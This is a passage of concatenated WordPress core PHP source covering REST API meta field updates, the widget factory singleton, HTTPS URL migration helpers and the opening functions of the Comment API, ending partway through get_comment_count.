					if ( is_wp_error( rest_validate_value_from_schema( $current, $args['schema'] ) ) ) {
						$error->add(
							'rest_invalid_stored_value',
							/* translators: %s: Custom field key. */
							sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
							array( 'status' => 500 )
						);
						continue;
					}
				}

				$result = $this->delete_meta_value( $object_id, $meta_key, $name );
				if ( is_wp_error( $result ) ) {
					$error->merge_from( $result );
				}
				continue;
			}

			if ( ! $args['single'] && is_array( $value ) && count( array_filter( $value, 'is_null' ) ) ) {
				$error->add(
					'rest_invalid_stored_value',
					/* translators: %s: Custom field key. */
					sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
					array( 'status' => 500 )
				);
				continue;
			}

			$is_valid = rest_validate_value_from_schema( $value, $args['schema'], 'meta.' . $name );
			if ( is_wp_error( $is_valid ) ) {
				$is_valid->add_data( array( 'status' => 400 ) );
				$error->merge_from( $is_valid );
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $args['schema'] );

			if ( $args['single'] ) {
				$result = $this->update_meta_value( $object_id, $meta_key, $name, $value );
			} else {
				$result = $this->update_multi_meta_value( $object_id, $meta_key, $name, $value );
			}

			if ( is_wp_error( $result ) ) {
				$error->merge_from( $result );
				continue;
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		return null;
	}

	/**
	 * Deletes a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID the field belongs to.
	 * @param string $meta_key  Key for the field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @return true|WP_Error True if meta field is deleted, WP_Error otherwise.
	 */
	protected function delete_meta_value( $object_id, $meta_key, $name ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "delete_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( null === get_metadata_raw( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return true;
		}

		if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				__( 'Could not delete meta value from database.' ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Updates multiple meta values for an object.
	 *
	 * Alters the list of values in the database to match the list of provided values.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param array  $values    List of values to update to.
	 * @return true|WP_Error True if meta fields are updated, WP_Error otherwise.
	 */
	protected function update_multi_meta_value( $object_id, $meta_key, $name, $values ) {
		$meta_type = $this->get_meta_type();

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		$current_values = get_metadata( $meta_type, $object_id, $meta_key, false );
		$subtype        = get_object_subtype( $meta_type, $object_id );

		if ( ! is_array( $current_values ) ) {
			$current_values = array();
		}

		$to_remove = $current_values;
		$to_add    = $values;

		foreach ( $to_add as $add_key => $value ) {
			$remove_keys = array_keys(
				array_filter(
					$current_values,
					function ( $stored_value ) use ( $meta_key, $subtype, $value ) {
						return $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $value );
					}
				)
			);

			if ( empty( $remove_keys ) ) {
				continue;
			}

			if ( count( $remove_keys ) > 1 ) {
				// To remove, we need to remove first, then add, so don't touch.
				continue;
			}

			$remove_key = $remove_keys[0];

			unset( $to_remove[ $remove_key ] );
			unset( $to_add[ $add_key ] );
		}

		/*
		 * `delete_metadata` removes _all_ instances of the value, so only call once. Otherwise,
		 * `delete_metadata` will return false for subsequent calls of the same value.
		 * Use serialization to produce a predictable string that can be used by array_unique.
		 */
		$to_remove = array_map( 'maybe_unserialize', array_unique( array_map( 'maybe_serialize', $to_remove ) ) );

		foreach ( $to_remove as $value ) {
			if ( ! delete_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		foreach ( $to_add as $value ) {
			if ( ! add_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
				return new WP_Error(
					'rest_meta_database_error',
					/* translators: %s: Custom field key. */
					sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
					array(
						'key'    => $name,
						'status' => WP_Http::INTERNAL_SERVER_ERROR,
					)
				);
			}
		}

		return true;
	}

	/**
	 * Updates a meta value for an object.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $object_id Object ID to update.
	 * @param string $meta_key  Key for the custom field.
	 * @param string $name      Name for the field that is exposed in the REST API.
	 * @param mixed  $value     Updated value.
	 * @return true|WP_Error True if the meta field was updated, WP_Error otherwise.
	 */
	protected function update_meta_value( $object_id, $meta_key, $name, $value ) {
		$meta_type = $this->get_meta_type();

		// Do the exact same check for a duplicate value as in update_metadata() to avoid update_metadata() returning false.
		$old_value = get_metadata( $meta_type, $object_id, $meta_key );
		$subtype   = get_object_subtype( $meta_type, $object_id );

		if ( is_array( $old_value ) && 1 === count( $old_value )
			&& $this->is_meta_value_same_as_stored_value( $meta_key, $subtype, $old_value[0], $value )
		) {
			return true;
		}

		if ( ! current_user_can( "edit_{$meta_type}_meta", $object_id, $meta_key ) ) {
			return new WP_Error(
				'rest_cannot_update',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Sorry, you are not allowed to edit the %s custom field.' ), $name ),
				array(
					'key'    => $name,
					'status' => rest_authorization_required_code(),
				)
			);
		}

		if ( ! update_metadata( $meta_type, $object_id, wp_slash( $meta_key ), wp_slash( $value ) ) ) {
			return new WP_Error(
				'rest_meta_database_error',
				/* translators: %s: Custom field key. */
				sprintf( __( 'Could not update the meta value of %s in database.' ), $meta_key ),
				array(
					'key'    => $name,
					'status' => WP_Http::INTERNAL_SERVER_ERROR,
				)
			);
		}

		return true;
	}

	/**
	 * Checks if the user provided value is equivalent to a stored value for the given meta key.
	 *
	 * @since 5.5.0
	 *
	 * @param string $meta_key     The meta key being checked.
	 * @param string $subtype      The object subtype.
	 * @param mixed  $stored_value The currently stored value retrieved from get_metadata().
	 * @param mixed  $user_value   The value provided by the user.
	 * @return bool
	 */
	protected function is_meta_value_same_as_stored_value( $meta_key, $subtype, $stored_value, $user_value ) {
		$args      = $this->get_registered_fields()[ $meta_key ];
		$sanitized = sanitize_meta( $meta_key, $user_value, $this->get_meta_type(), $subtype );

		if ( in_array( $args['type'], array( 'string', 'number', 'integer', 'boolean' ), true ) ) {
			// The return value of get_metadata will always be a string for scalar types.
			$sanitized = (string) $sanitized;
		}

		return $sanitized === $stored_value;
	}

	/**
	 * Retrieves all the registered meta fields.
	 *
	 * @since 4.7.0
	 *
	 * @return array Registered fields.
	 */
	protected function get_registered_fields() {
		$registered = array();

		$meta_type    = $this->get_meta_type();
		$meta_subtype = $this->get_meta_subtype();

		$meta_keys = get_registered_meta_keys( $meta_type );
		if ( ! empty( $meta_subtype ) ) {
			$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $meta_type, $meta_subtype ) );
		}

		foreach ( $meta_keys as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$default_args = array(
				'name'             => $name,
				'single'           => $args['single'],
				'type'             => ! empty( $args['type'] ) ? $args['type'] : null,
				'schema'           => array(),
				'prepare_callback' => array( $this, 'prepare_value' ),
			);

			$default_schema = array(
				'type'        => $default_args['type'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args           = array_merge( $default_args, $rest_args );
			$rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] );

			$type = ! empty( $rest_args['type'] ) ? $rest_args['type'] : null;
			$type = ! empty( $rest_args['schema']['type'] ) ? $rest_args['schema']['type'] : $type;

			if ( null === $rest_args['schema']['default'] ) {
				$rest_args['schema']['default'] = static::get_empty_value_for_type( $type );
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			if ( ! in_array( $type, array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) {
				continue;
			}

			if ( empty( $rest_args['single'] ) ) {
				$rest_args['schema'] = array(
					'type'  => 'array',
					'items' => $rest_args['schema'],
				);
			}

			$registered[ $name ] = $rest_args;
		}

		return $registered;
	}

	/**
	 * Retrieves the object's meta schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Field schema data.
	 */
	public function get_field_schema() {
		$fields = $this->get_registered_fields();

		$schema = array(
			'description' => __( 'Meta fields.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'properties'  => array(),
			'arg_options' => array(
				'sanitize_callback' => null,
				'validate_callback' => array( $this, 'check_meta_is_array' ),
			),
		);

		foreach ( $fields as $args ) {
			$schema['properties'][ $args['name'] ] = $args['schema'];
		}

		return $schema;
	}

	/**
	 * Prepares a meta value for output.
	 *
	 * Default preparation for meta fields. Override by passing the
	 * `prepare_callback` in your `show_in_rest` options.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   Meta value from the database.
	 * @param WP_REST_Request $request Request object.
	 * @param array           $args    REST-specific options for the meta key.
	 * @return mixed Value prepared for output. If a non-JsonSerializable object, null.
	 */
	public static function prepare_value( $value, $request, $args ) {
		if ( $args['single'] ) {
			$schema = $args['schema'];
		} else {
			$schema = $args['schema']['items'];
		}

		if ( '' === $value && in_array( $schema['type'], array( 'boolean', 'integer', 'number' ), true ) ) {
			$value = static::get_empty_value_for_type( $schema['type'] );
		}

		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Check the 'meta' value of a request is an associative array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The meta value submitted in the request.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return array|false The meta array, if valid, false otherwise.
	 */
	public function check_meta_is_array( $value, $request, $param ) {
		if ( ! is_array( $value ) ) {
			return false;
		}

		return $value;
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema if no additionalProperties setting
	 * is specified.
	 *
	 * This is needed to restrict properties of objects in meta values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 5.3.0
	 * @deprecated 5.6.0 Use rest_default_additional_properties_to_false() instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function default_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '5.6.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}

	/**
	 * Gets the empty value for a schema type.
	 *
	 * @since 5.3.0
	 *
	 * @param string $type The schema type.
	 * @return mixed
	 */
	protected static function get_empty_value_for_type( $type ) {
		switch ( $type ) {
			case 'string':
				return '';
			case 'boolean':
				return false;
			case 'integer':
				return 0;
			case 'number':
				return 0.0;
			case 'array':
			case 'object':
				return array();
			default:
				return null;
		}
	}
}
<?php
/**
 * Widget API: WP_Widget_Factory class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Singleton that registers and instantiates WP_Widget classes.
 *
 * @since 2.8.0
 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
 */
#[AllowDynamicProperties]
class WP_Widget_Factory {

	/**
	 * Widgets array.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $widgets = array();

	/**
	 * PHP5 constructor.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
	}

	/**
	 * PHP4 constructor.
	 *
	 * @since 2.8.0
	 * @deprecated 4.3.0 Use __construct() instead.
	 *
	 * @see WP_Widget_Factory::__construct()
	 */
	public function WP_Widget_Factory() {
		_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );
		self::__construct();
	}

	/**
	 * Registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function register( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			$this->widgets[ spl_object_hash( $widget ) ] = $widget;
		} else {
			$this->widgets[ $widget ] = new $widget();
		}
	}

	/**
	 * Un-registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 */
	public function unregister( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			unset( $this->widgets[ spl_object_hash( $widget ) ] );
		} else {
			unset( $this->widgets[ $widget ] );
		}
	}

	/**
	 * Serves as a utility method for adding widgets to the registered widgets global.
	 *
	 * @since 2.8.0
	 *
	 * @global array $wp_registered_widgets
	 */
	public function _register_widgets() {
		global $wp_registered_widgets;
		$keys       = array_keys( $this->widgets );
		$registered = array_keys( $wp_registered_widgets );
		$registered = array_map( '_get_widget_id_base', $registered );

		foreach ( $keys as $key ) {
			// Don't register new widget if old widget with the same id is already registered.
			if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
				unset( $this->widgets[ $key ] );
				continue;
			}

			$this->widgets[ $key ]->_register();
		}
	}

	/**
	 * Returns the registered WP_Widget object for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return WP_Widget|null
	 */
	public function get_widget_object( $id_base ) {
		$key = $this->get_widget_key( $id_base );
		if ( '' === $key ) {
			return null;
		}

		return $this->widgets[ $key ];
	}

	/**
	 * Returns the registered key for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return string
	 */
	public function get_widget_key( $id_base ) {
		foreach ( $this->widgets as $key => $widget_object ) {
			if ( $widget_object->id_base === $id_base ) {
				return $key;
			}
		}

		return '';
	}
}
<?php
/**
 * HTTPS migration functions.
 *
 * @package WordPress
 * @since 5.7.0
 */

/**
 * Checks whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
 *
 * If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`, causing WordPress to
 * add frontend filters to replace insecure site URLs that may be present in older database content. The
 * {@see 'wp_should_replace_insecure_home_url'} filter can be used to modify that behavior.
 *
 * @since 5.7.0
 *
 * @return bool True if insecure URLs should replaced, false otherwise.
 */
function wp_should_replace_insecure_home_url() {
	$should_replace_insecure_home_url = wp_is_using_https()
		&& get_option( 'https_migration_required' )
		// For automatic replacement, both 'home' and 'siteurl' need to not only use HTTPS, they also need to be using
		// the same domain.
		&& wp_parse_url( home_url(), PHP_URL_HOST ) === wp_parse_url( site_url(), PHP_URL_HOST );

	/**
	 * Filters whether WordPress should replace old HTTP URLs to the site with their HTTPS counterpart.
	 *
	 * If a WordPress site had its URL changed from HTTP to HTTPS, by default this will return `true`. This filter can
	 * be used to disable that behavior, e.g. after having replaced URLs manually in the database.
	 *
	 * @since 5.7.0
	 *
	 * @param bool $should_replace_insecure_home_url Whether insecure HTTP URLs to the site should be replaced.
	 */
	return apply_filters( 'wp_should_replace_insecure_home_url', $should_replace_insecure_home_url );
}

/**
 * Replaces insecure HTTP URLs to the site in the given content, if configured to do so.
 *
 * This function replaces all occurrences of the HTTP version of the site's URL with its HTTPS counterpart, if
 * determined via {@see wp_should_replace_insecure_home_url()}.
 *
 * @since 5.7.0
 *
 * @param string $content Content to replace URLs in.
 * @return string Filtered content.
 */
function wp_replace_insecure_home_url( $content ) {
	if ( ! wp_should_replace_insecure_home_url() ) {
		return $content;
	}

	$https_url = home_url( '', 'https' );
	$http_url  = str_replace( 'https://', 'http://', $https_url );

	// Also replace potentially escaped URL.
	$escaped_https_url = str_replace( '/', '\/', $https_url );
	$escaped_http_url  = str_replace( '/', '\/', $http_url );

	return str_replace(
		array(
			$http_url,
			$escaped_http_url,
		),
		array(
			$https_url,
			$escaped_https_url,
		),
		$content
	);
}

/**
 * Update the 'home' and 'siteurl' option to use the HTTPS variant of their URL.
 *
 * If this update does not result in WordPress recognizing that the site is now using HTTPS (e.g. due to constants
 * overriding the URLs used), the changes will be reverted. In such a case the function will return false.
 *
 * @since 5.7.0
 *
 * @return bool True on success, false on failure.
 */
function wp_update_urls_to_https() {
	// Get current URL options.
	$orig_home    = get_option( 'home' );
	$orig_siteurl = get_option( 'siteurl' );

	// Get current URL options, replacing HTTP with HTTPS.
	$home    = str_replace( 'http://', 'https://', $orig_home );
	$siteurl = str_replace( 'http://', 'https://', $orig_siteurl );

	// Update the options.
	update_option( 'home', $home );
	update_option( 'siteurl', $siteurl );

	if ( ! wp_is_using_https() ) {
		/*
		 * If this did not result in the site recognizing HTTPS as being used,
		 * revert the change and return false.
		 */
		update_option( 'home', $orig_home );
		update_option( 'siteurl', $orig_siteurl );
		return false;
	}

	// Otherwise the URLs were successfully changed to use HTTPS.
	return true;
}

/**
 * Updates the 'https_migration_required' option if needed when the given URL has been updated from HTTP to HTTPS.
 *
 * If this is a fresh site, a migration will not be required, so the option will be set as `false`.
 *
 * This is hooked into the {@see 'update_option_home'} action.
 *
 * @since 5.7.0
 * @access private
 *
 * @param mixed $old_url Previous value of the URL option.
 * @param mixed $new_url New value of the URL option.
 */
function wp_update_https_migration_required( $old_url, $new_url ) {
	// Do nothing if WordPress is being installed.
	if ( wp_installing() ) {
		return;
	}

	// Delete/reset the option if the new URL is not the HTTPS version of the old URL.
	if ( untrailingslashit( (string) $old_url ) !== str_replace( 'https://', 'http://', untrailingslashit( (string) $new_url ) ) ) {
		delete_option( 'https_migration_required' );
		return;
	}

	// If this is a fresh site, there is no content to migrate, so do not require migration.
	$https_migration_required = get_option( 'fresh_site' ) ? false : true;

	update_option( 'https_migration_required', $https_migration_required );
}
<?php
/**
 * Core Comment API
 *
 * @package WordPress
 * @subpackage Comment
 */

/**
 * Checks whether a comment passes internal checks to be allowed to add.
 *
 * If manual comment moderation is set in the administration, then all checks,
 * regardless of their type and substance, will fail and the function will
 * return false.
 *
 * If the number of links exceeds the amount in the administration, then the
 * check fails. If any of the parameter contents contain any disallowed words,
 * then the check fails.
 *
 * If the comment author was approved before, then the comment is automatically
 * approved.
 *
 * If all checks pass, the function will return true.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $author       Comment author name.
 * @param string $email        Comment author email.
 * @param string $url          Comment author URL.
 * @param string $comment      Content of the comment.
 * @param string $user_ip      Comment author IP address.
 * @param string $user_agent   Comment author User-Agent.
 * @param string $comment_type Comment type, either user-submitted comment,
 *                             trackback, or pingback.
 * @return bool If all checks pass, true, otherwise false.
 */
function check_comment( $author, $email, $url, $comment, $user_ip, $user_agent, $comment_type ) {
	global $wpdb;

	// If manual moderation is enabled, skip all checks and return false.
	if ( 1 == get_option( 'comment_moderation' ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/comment-template.php */
	$comment = apply_filters( 'comment_text', $comment, null, array() );

	// Check for the number of external links if a max allowed number is set.
	$max_links = get_option( 'comment_max_links' );
	if ( $max_links ) {
		$num_links = preg_match_all( '/<a [^>]*href/i', $comment, $out );

		/**
		 * Filters the number of links found in a comment.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 Added the `$comment` parameter.
		 *
		 * @param int    $num_links The number of links found.
		 * @param string $url       Comment author's URL. Included in allowed links total.
		 * @param string $comment   Content of the comment.
		 */
		$num_links = apply_filters( 'comment_max_links_url', $num_links, $url, $comment );

		/*
		 * If the number of links in the comment exceeds the allowed amount,
		 * fail the check by returning false.
		 */
		if ( $num_links >= $max_links ) {
			return false;
		}
	}

	$mod_keys = trim( get_option( 'moderation_keys' ) );

	// If moderation 'keys' (keywords) are set, process them.
	if ( ! empty( $mod_keys ) ) {
		$words = explode( "\n", $mod_keys );

		foreach ( (array) $words as $word ) {
			$word = trim( $word );

			// Skip empty lines.
			if ( empty( $word ) ) {
				continue;
			}

			/*
			 * Do some escaping magic so that '#' (number of) characters in the spam
			 * words don't break things:
			 */
			$word = preg_quote( $word, '#' );

			/*
			 * Check the comment fields for moderation keywords. If any are found,
			 * fail the check for the given field by returning false.
			 */
			$pattern = "#$word#iu";
			if ( preg_match( $pattern, $author ) ) {
				return false;
			}
			if ( preg_match( $pattern, $email ) ) {
				return false;
			}
			if ( preg_match( $pattern, $url ) ) {
				return false;
			}
			if ( preg_match( $pattern, $comment ) ) {
				return false;
			}
			if ( preg_match( $pattern, $user_ip ) ) {
				return false;
			}
			if ( preg_match( $pattern, $user_agent ) ) {
				return false;
			}
		}
	}

	/*
	 * Check if the option to approve comments by previously-approved authors is enabled.
	 *
	 * If it is enabled, check whether the comment author has a previously-approved comment,
	 * as well as whether there are any moderation keywords (if set) present in the author
	 * email address. If both checks pass, return true. Otherwise, return false.
	 */
	if ( 1 == get_option( 'comment_previously_approved' ) ) {
		if ( 'trackback' !== $comment_type && 'pingback' !== $comment_type && '' !== $author && '' !== $email ) {
			$comment_user = get_user_by( 'email', wp_unslash( $email ) );
			if ( ! empty( $comment_user->ID ) ) {
				$ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE user_id = %d AND comment_approved = '1' LIMIT 1", $comment_user->ID ) );
			} else {
				// expected_slashed ($author, $email)
				$ok_to_comment = $wpdb->get_var( $wpdb->prepare( "SELECT comment_approved FROM $wpdb->comments WHERE comment_author = %s AND comment_author_email = %s and comment_approved = '1' LIMIT 1", $author, $email ) );
			}
			if ( ( 1 == $ok_to_comment ) &&
				( empty( $mod_keys ) || ! str_contains( $email, $mod_keys ) ) ) {
					return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	}
	return true;
}

/**
 * Retrieves the approved comments for a post.
 *
 * @since 2.0.0
 * @since 4.1.0 Refactored to leverage WP_Comment_Query over a direct query.
 *
 * @param int   $post_id The ID of the post.
 * @param array $args    {
 *     Optional. See WP_Comment_Query::__construct() for information on accepted arguments.
 *
 *     @type int    $status  Comment status to limit results by. Defaults to approved comments.
 *     @type int    $post_id Limit results to those affiliated with a given post ID.
 *     @type string $order   How to order retrieved comments. Default 'ASC'.
 * }
 * @return WP_Comment[]|int[]|int The approved comments, or number of comments if `$count`
 *                                argument is true.
 */
function get_approved_comments( $post_id, $args = array() ) {
	if ( ! $post_id ) {
		return array();
	}

	$defaults    = array(
		'status'  => 1,
		'post_id' => $post_id,
		'order'   => 'ASC',
	);
	$parsed_args = wp_parse_args( $args, $defaults );

	$query = new WP_Comment_Query();
	return $query->query( $parsed_args );
}

/**
 * Retrieves comment data given a comment ID or comment object.
 *
 * If an object is passed then the comment data will be cached and then returned
 * after being passed through a filter. If the comment is empty, then the global
 * comment variable will be used, if it is set.
 *
 * @since 2.0.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment|string|int $comment Comment to retrieve.
 * @param string                $output  Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                       correspond to a WP_Comment object, an associative array, or a numeric array,
 *                                       respectively. Default OBJECT.
 * @return WP_Comment|array|null Depends on $output value.
 */
function get_comment( $comment = null, $output = OBJECT ) {
	if ( empty( $comment ) && isset( $GLOBALS['comment'] ) ) {
		$comment = $GLOBALS['comment'];
	}

	if ( $comment instanceof WP_Comment ) {
		$_comment = $comment;
	} elseif ( is_object( $comment ) ) {
		$_comment = new WP_Comment( $comment );
	} else {
		$_comment = WP_Comment::get_instance( $comment );
	}

	if ( ! $_comment ) {
		return null;
	}

	/**
	 * Fires after a comment is retrieved.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Comment $_comment Comment data.
	 */
	$_comment = apply_filters( 'get_comment', $_comment );

	if ( OBJECT === $output ) {
		return $_comment;
	} elseif ( ARRAY_A === $output ) {
		return $_comment->to_array();
	} elseif ( ARRAY_N === $output ) {
		return array_values( $_comment->to_array() );
	}
	return $_comment;
}

/**
 * Retrieves a list of comments.
 *
 * The comment list can be for the blog as a whole or for an individual post.
 *
 * @since 2.7.0
 *
 * @param string|array $args Optional. Array or string of arguments. See WP_Comment_Query::__construct()
 *                           for information on accepted arguments. Default empty string.
 * @return WP_Comment[]|int[]|int List of comments or number of found comments if `$count` argument is true.
 */
function get_comments( $args = '' ) {
	$query = new WP_Comment_Query();
	return $query->query( $args );
}

/**
 * Retrieves all of the WordPress supported comment statuses.
 *
 * Comments have a limited set of valid status values, this provides the comment
 * status values and descriptions.
 *
 * @since 2.7.0
 *
 * @return string[] List of comment status labels keyed by status.
 */
function get_comment_statuses() {
	$status = array(
		'hold'    => __( 'Unapproved' ),
		'approve' => _x( 'Approved', 'comment status' ),
		'spam'    => _x( 'Spam', 'comment status' ),
		'trash'   => _x( 'Trash', 'comment status' ),
	);

	return $status;
}

/**
 * Gets the default comment status for a post type.
 *
 * @since 4.3.0
 *
 * @param string $post_type    Optional. Post type. Default 'post'.
 * @param string $comment_type Optional. Comment type. Default 'comment'.
 * @return string Either 'open' or 'closed'.
 */
function get_default_comment_status( $post_type = 'post', $comment_type = 'comment' ) {
	switch ( $comment_type ) {
		case 'pingback':
		case 'trackback':
			$supports = 'trackbacks';
			$option   = 'ping';
			break;
		default:
			$supports = 'comments';
			$option   = 'comment';
			break;
	}

	// Set the status.
	if ( 'page' === $post_type ) {
		$status = 'closed';
	} elseif ( post_type_supports( $post_type, $supports ) ) {
		$status = get_option( "default_{$option}_status" );
	} else {
		$status = 'closed';
	}

	/**
	 * Filters the default comment status for the given post type.
	 *
	 * @since 4.3.0
	 *
	 * @param string $status       Default status for the given post type,
	 *                             either 'open' or 'closed'.
	 * @param string $post_type    Post type. Default is `post`.
	 * @param string $comment_type Type of comment. Default is `comment`.
	 */
	return apply_filters( 'get_default_comment_status', $status, $post_type, $comment_type );
}

/**
 * Retrieves the date the last comment was modified.
 *
 * @since 1.5.0
 * @since 4.7.0 Replaced caching the modified date in a local static variable
 *              with the Object Cache API.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $timezone Which timezone to use in reference to 'gmt', 'blog', or 'server' locations.
 * @return string|false Last comment modified date on success, false on failure.
 */
function get_lastcommentmodified( $timezone = 'server' ) {
	global $wpdb;

	$timezone = strtolower( $timezone );
	$key      = "lastcommentmodified:$timezone";

	$comment_modified_date = wp_cache_get( $key, 'timeinfo' );
	if ( false !== $comment_modified_date ) {
		return $comment_modified_date;
	}

	switch ( $timezone ) {
		case 'gmt':
			$comment_modified_date = $wpdb->get_var( "SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
			break;
		case 'blog':
			$comment_modified_date = $wpdb->get_var( "SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1" );
			break;
		case 'server':
			$add_seconds_server = gmdate( 'Z' );

			$comment_modified_date = $wpdb->get_var( $wpdb->prepare( "SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server ) );
			break;
	}

	if ( $comment_modified_date ) {
		wp_cache_set( $key, $comment_modified_date, 'timeinfo' );

		return $comment_modified_date;
	}

	return false;
}

/**
 * Retrieves the total comment counts for the whole site or a single post.
 *
 * @since 2.0.0
 *
 * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that
 *                     comment counts for the whole site will be retrieved.
 * @return int[] {
 *     The number of comments keyed by their status.
 *
 *     @type int $approved            The number of approved comments.
 *     @type int $awaiting_moderation The number of comments awaiting moderation (a.k.a. pending).
 *     @type int $spam                The number of spam comments.
 *     @type int $trash               The number of trashed comments.
 *     @type int $post-trashed        The number of comments for posts that are in the trash.
 *     @type int $total_comments      The total number of non-trashed comments, including spam.
 *     @type int $all                 The total number of pending or approved comments.
 * }
 */
function get_comment_count( $post_id = 0 ) {
	$post_id = (int) $post_id;

	$comment_count = array(
		'approved'            => 0,
		'awaiting_moderation' => 0,
		'spam'                => 0,
		'trash'               => 0,
		'post-trashed'        => 0,
		'total_comments'      => 0,
		'all'                 => 0,
	);

	$args = array(
		'count'                     => true,
		'update_comment_meta_cache' => false,
		'orderby'                   => 'none',
	);
	if ( $post_id > 0 ) {
		$args['post_id'] = $post_id;
	}
	$mapping       = array(
		'approved'            => 'approve',
		'awaiting_moderation' => 'hold',
		'spam'                => 'spam',
		'trash'               => 'trash',
		'post-trashed'        => 'post-trashed',
	);
	$comment_count = array();
	foreach ( $mapping as $key => $value ) {
		$comment_count[ $key ] = get_comments( array_merge( $args, array( 'status' => $value ) ) );
	}

	$comment_count['all']            = $comment_count['approved'] + $comment_count['awaiting_moderation'];
